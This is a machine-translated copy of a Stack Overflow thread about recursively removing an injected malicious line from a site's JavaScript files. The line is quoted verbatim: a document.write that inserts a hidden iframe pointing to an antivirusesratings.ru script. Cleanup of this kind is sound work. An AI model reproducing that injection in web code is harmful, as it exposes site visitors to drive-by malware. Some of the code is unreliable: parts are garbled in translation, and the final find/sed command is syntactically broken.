Shell 使用ssh unix查找并删除所有*.js文件中的字符串?

Shell 使用ssh unix查找并删除所有*.js文件中的字符串?,shell,unix,ssh,Shell,Unix,Ssh,我试图在所有js文件(递归地在所有子文件夹中)中找到一个字符串,如果可能的话删除该字符串,并显示处理了哪个文件(这样我以后可以检查它) 我能找到绳子 grep -lr --include="*.js" "antivirusesratings.ru" . 因此:(不确定这两种方法之间是否有区别?) 因此,也许最后一个示例可以修改,以便它也删除字符串。 现在我想起来了。我要删除的字符串有引号。没有关于如何处理下面的字符串的线索,我真的想把它到处删除 ;document.write('<ifr

我试图在所有js文件(递归地在所有子文件夹中)中找到一个字符串,如果可能的话删除该字符串,并显示处理了哪个文件(这样我以后可以检查它)

我能找到绳子

grep -lr --include="*.js" "antivirusesratings.ru" .
因此:(不确定这两种方法之间是否有区别?)

因此,也许最后一个示例可以修改,以便它也删除字符串。 现在我想起来了。我要删除的字符串有引号。没有关于如何处理下面的字符串的线索,我真的想把它到处删除

;document.write('<iframe src="http://antivirusesratings.ru/thenautoreplies.cgi?8" scrolling="auto" frameborder="no" align="center" height="15" width="15"></iframe>')
;文件。写入(“”)
提前谢谢。 我真的很感激

问候,


Gosa

ssh
可以接收命令作为最后一个参数,因此您应该在那里提供super-duper命令来执行清理

为了清理文件,我认为最好将
find
-exec
参数与一些
grep
和输出重定向结合起来

比如说,对于找到的每个文件,
grep-v aughous\u LINE$file>$file
,或者类似的东西(我认为您可能必须使用一个临时文件,因为该文件重定向到它本身不起作用的IIRC)


使用重定向尝试
grep
,然后将其与
find
相结合,最后(可能需要一些转义)您应该将其放在
ssh
中以执行您想要的操作。

我在unix.stackexchange.com上找到了一个函数,它解决了相同的问题:

它使用
grep
查找所有包含特定字符串的文件(这是
antivirusesratings.ru
)。然后,它使用
d
命令(行删除)将这些结果导入
sed
,以删除包含该字符串的行


像往常一样,在运行该脚本以批量替换文件之前,请确保备份目录。

我认为这就是您想要的:

find type -f -name "*.js" -exec sed -i 's/antivirusesratings.ru//g' {}

为什么ssh出现在标题中?您在问题描述中没有引用。祝您好运。您好,如何将您的代码与以下代码一起使用,而不是仅使用antivirusesratings.ru作为字符串来搜索和删除;文件。写入(“”)
find type -f -name "*.js" -exec sed -i 's/antivirusesratings.ru//g' {}